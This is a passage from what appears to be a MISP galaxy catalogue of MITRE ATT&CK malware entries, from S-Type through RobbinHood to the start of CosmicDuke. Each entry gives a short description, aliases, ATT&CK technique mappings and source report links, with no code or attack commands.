[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)

The tag is: misp-galaxy:mitre-malware="S-Type - S0085"

S-Type - S0085 is also known as:

S-Type

S-Type - S0085 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 3092. Table References
Links
https://attack.mitre.org/software/S0085
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

Hi-Zor - S0087

[Hi-Zor](https://attack.mitre.org/software/S0087) is a remote access tool (RAT) that has characteristics similar to [Sakula](https://attack.mitre.org/software/S0074). It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)

The tag is: misp-galaxy:mitre-malware="Hi-Zor - S0087"

Hi-Zor - S0087 is also known as:

Hi-Zor

Hi-Zor - S0087 has relationships with:

similar: misp-galaxy:rat="Hi-Zor" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1117" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3093. Table References
Links
https://attack.mitre.org/software/S0087
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

Miner-C - S0133

[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)

The tag is: misp-galaxy:mitre-malware="Miner-C - S0133"

Miner-C - S0133 is also known as:

Miner-C
Mal/Miner-C
PhotoMiner

Miner-C - S0133 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

Table 3094. Table References
Links
https://attack.mitre.org/software/S0133
http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml

Android/Chuli.A - S0304

[Android/Chuli.A](https://attack.mitre.org/software/S0304) is Android malware that was delivered to activist groups via a spearphishing email with an attachment. (Citation: Kaspersky-WUC)

The tag is: misp-galaxy:mitre-malware="Android/Chuli.A - S0304"

Android/Chuli.A - S0304 is also known as:

Android/Chuli.A

Android/Chuli.A - S0304 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 3095. Table References
Links
https://attack.mitre.org/software/S0304
https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/

Trojan.Mebromi - S0001

[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)

The tag is: misp-galaxy:mitre-malware="Trojan.Mebromi - S0001"

Trojan.Mebromi - S0001 is also known as:

Trojan.Mebromi

Trojan.Mebromi - S0001 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Firmware - T1019" with estimative-language:likelihood-probability="almost-certain"

Table 3096. Table References
Links
https://attack.mitre.org/software/S0001
http://www.symantec.com/connect/blogs/bios-threat-showing-again

ANDROIDOS_ANSERVER.A - S0310

[ANDROIDOS_ANSERVER.A](https://attack.mitre.org/software/S0310) is Android malware that is unique because it uses encrypted content within a blog site for command and control. (Citation: TrendMicro-Anserver)

The tag is: misp-galaxy:mitre-malware="ANDROIDOS_ANSERVER.A - S0310"

ANDROIDOS_ANSERVER.A - S0310 is also known as:

ANDROIDOS_ANSERVER.A

ANDROIDOS_ANSERVER.A - S0310 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"

Table 3097. Table References
Links
https://attack.mitre.org/software/S0310
http://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/

Agent.btz - S0092

[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)

The tag is: misp-galaxy:mitre-malware="Agent.btz - S0092"

Agent.btz - S0092 is also known as:

Agent.btz

Agent.btz - S0092 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"

Table 3098. Table References
Links
https://attack.mitre.org/software/S0092
https://securelist.com/agent-btz-a-source-of-inspiration/58551/

Backdoor.Oldrea - S0093

[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) is a backdoor used by [Dragonfly](https://attack.mitre.org/groups/G0035). It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)

The tag is: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093"

Backdoor.Oldrea - S0093 is also known as:

Backdoor.Oldrea
Havex

Backdoor.Oldrea - S0093 has relationships with:

similar: misp-galaxy:tool="Havex RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3099. Table References
Links
https://attack.mitre.org/software/S0093
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf

Trojan.Karagany - S0094

[Trojan.Karagany](https://attack.mitre.org/software/S0094) is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)

The tag is: misp-galaxy:mitre-malware="Trojan.Karagany - S0094"

Trojan.Karagany - S0094 is also known as:

Trojan.Karagany

Trojan.Karagany - S0094 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 3100. Table References
Links
https://attack.mitre.org/software/S0094
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf

OSX_OCEANLOTUS.D - S0352

[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) is a MacOS backdoor that has been used by [APT32](https://attack.mitre.org/groups/G0050).(Citation: TrendMicro MacOS April 2018)

The tag is: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352"

OSX_OCEANLOTUS.D - S0352 is also known as:

OSX_OCEANLOTUS.D

OSX_OCEANLOTUS.D - S0352 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1159" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

Table 3101. Table References
Links
https://attack.mitre.org/software/S0352
https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/

OSX/Shlayer - S0402

[OSX/Shlayer](https://attack.mitre.org/software/S0402) is a Trojan designed to install adware on macOS. It was first discovered in 2018.(Citation: Carbon Black Shlayer Feb 2019)(Citation: Intego Shlayer Feb 2018)

The tag is: misp-galaxy:mitre-malware="OSX/Shlayer - S0402"

OSX/Shlayer - S0402 is also known as:

OSX/Shlayer
Crossrider

OSX/Shlayer - S0402 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="User Execution - T1204" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Extensions - T1176" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

Table 3102. Table References
Links
https://attack.mitre.org/software/S0402
https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/
https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/
https://www.intego.com/mac-security-blog/new-osxshlayer-malware-variant-found-using-a-dirty-new-trick/
https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/

T9000 - S0098

[T9000](https://attack.mitre.org/software/S0098) is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)

The tag is: misp-galaxy:mitre-malware="T9000 - S0098"

T9000 - S0098 is also known as:

T9000

T9000 - S0098 has relationships with:

similar: misp-galaxy:tool="T9000" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3103. Table References
Links
https://attack.mitre.org/software/S0098
https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

BS2005 - S0014

[BS2005](https://attack.mitre.org/software/S0014) is malware that was used by [Ke3chang](https://attack.mitre.org/groups/G0004) in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)

The tag is: misp-galaxy:mitre-malware="BS2005 - S0014"

BS2005 - S0014 is also known as:

BS2005

BS2005 - S0014 has relationships with:

similar: misp-galaxy:tool="Hoardy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 3104. Table References
Links
https://attack.mitre.org/software/S0014
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf

Sys10 - S0060

[Sys10](https://attack.mitre.org/software/S0060) is a backdoor that was used throughout 2013 by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: misp-galaxy:mitre-malware="Sys10 - S0060"

Sys10 - S0060 is also known as:

Sys10

Sys10 - S0060 has relationships with:

similar: misp-galaxy:malpedia="Sys10" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 3105. Table References
Links
https://attack.mitre.org/software/S0060
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

Lurid - S0010

[Lurid](https://attack.mitre.org/software/S0010) is a malware family that has been used by several groups, including [PittyTiger](https://attack.mitre.org/groups/G0011), in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)

The tag is: misp-galaxy:mitre-malware="Lurid - S0010"

Lurid - S0010 is also known as:

Lurid
Enfal

Lurid - S0010 has relationships with:

similar: misp-galaxy:malpedia="Enfal" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 3106. Table References
Links
https://attack.mitre.org/software/S0010
https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_dissecting-lurid-apt.pdf

Dipsind - S0200

[Dipsind](https://attack.mitre.org/software/S0200) is a malware family of backdoors that appear to be used exclusively by [PLATINUM](https://attack.mitre.org/groups/G0068). (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-malware="Dipsind - S0200"

Dipsind - S0200 is also known as:

Dipsind

Dipsind - S0200 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3107. Table References
Links
https://attack.mitre.org/software/S0200
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

DressCode - S0300

[DressCode](https://attack.mitre.org/software/S0300) is an Android malware family. (Citation: TrendMicro-DressCode)

The tag is: misp-galaxy:mitre-malware="DressCode - S0300"

DressCode - S0300 is also known as:

DressCode

DressCode - S0300 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Exploit Enterprise Resources - T1428" with estimative-language:likelihood-probability="almost-certain"

Table 3108. Table References
Links
https://attack.mitre.org/software/S0300
http://blog.trendmicro.com/trendlabs-security-intelligence/dresscode-potential-impact-enterprises/

Carbanak - S0030

[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)

The tag is: misp-galaxy:mitre-malware="Carbanak - S0030"

Carbanak - S0030 is also known as:

Carbanak
Anunak

Carbanak - S0030 has relationships with:

similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Access Tools - T1219" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Create Account - T1136" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 3109. Table References
Links
https://attack.mitre.org/software/S0030
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf
https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html

RIPTIDE - S0003

[RIPTIDE](https://attack.mitre.org/software/S0003) is a proxy-aware backdoor used by [APT12](https://attack.mitre.org/groups/G0005). (Citation: Moran 2014)

The tag is: misp-galaxy:mitre-malware="RIPTIDE - S0003"

RIPTIDE - S0003 is also known as:

RIPTIDE

RIPTIDE - S0003 has relationships with:

similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3110. Table References
Links
https://attack.mitre.org/software/S0003
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

TinyZBot - S0004

[TinyZBot](https://attack.mitre.org/software/S0004) is a bot written in C# that was developed by [Cleaver](https://attack.mitre.org/groups/G0003). (Citation: Cylance Cleaver)

The tag is: misp-galaxy:mitre-malware="TinyZBot - S0004"

TinyZBot - S0004 is also known as:

TinyZBot

TinyZBot - S0004 has relationships with:

similar: misp-galaxy:tool="TinyZBot" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 3111. Table References
Links
https://attack.mitre.org/software/S0004
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

RobbinHood - S0400

[RobbinHood](https://attack.mitre.org/software/S0400) is ransomware that was first observed being used in an attack against the Baltimore city government’s computer network.(Citation: CarbonBlack RobbinHood May 2019)(Citation: BaltimoreSun RobbinHood May 2019)

The tag is: misp-galaxy:mitre-malware="RobbinHood - S0400"

RobbinHood - S0400 is also known as:

RobbinHood

RobbinHood - S0400 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 3112. Table References
Links
https://attack.mitre.org/software/S0400
https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/
https://www.baltimoresun.com/politics/bs-md-ci-it-outage-20190507-story.html

CosmicDuke - S0050

[CosmicDuke](https://attack.mitre.org/software/S0050) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="CosmicDuke - S0050"

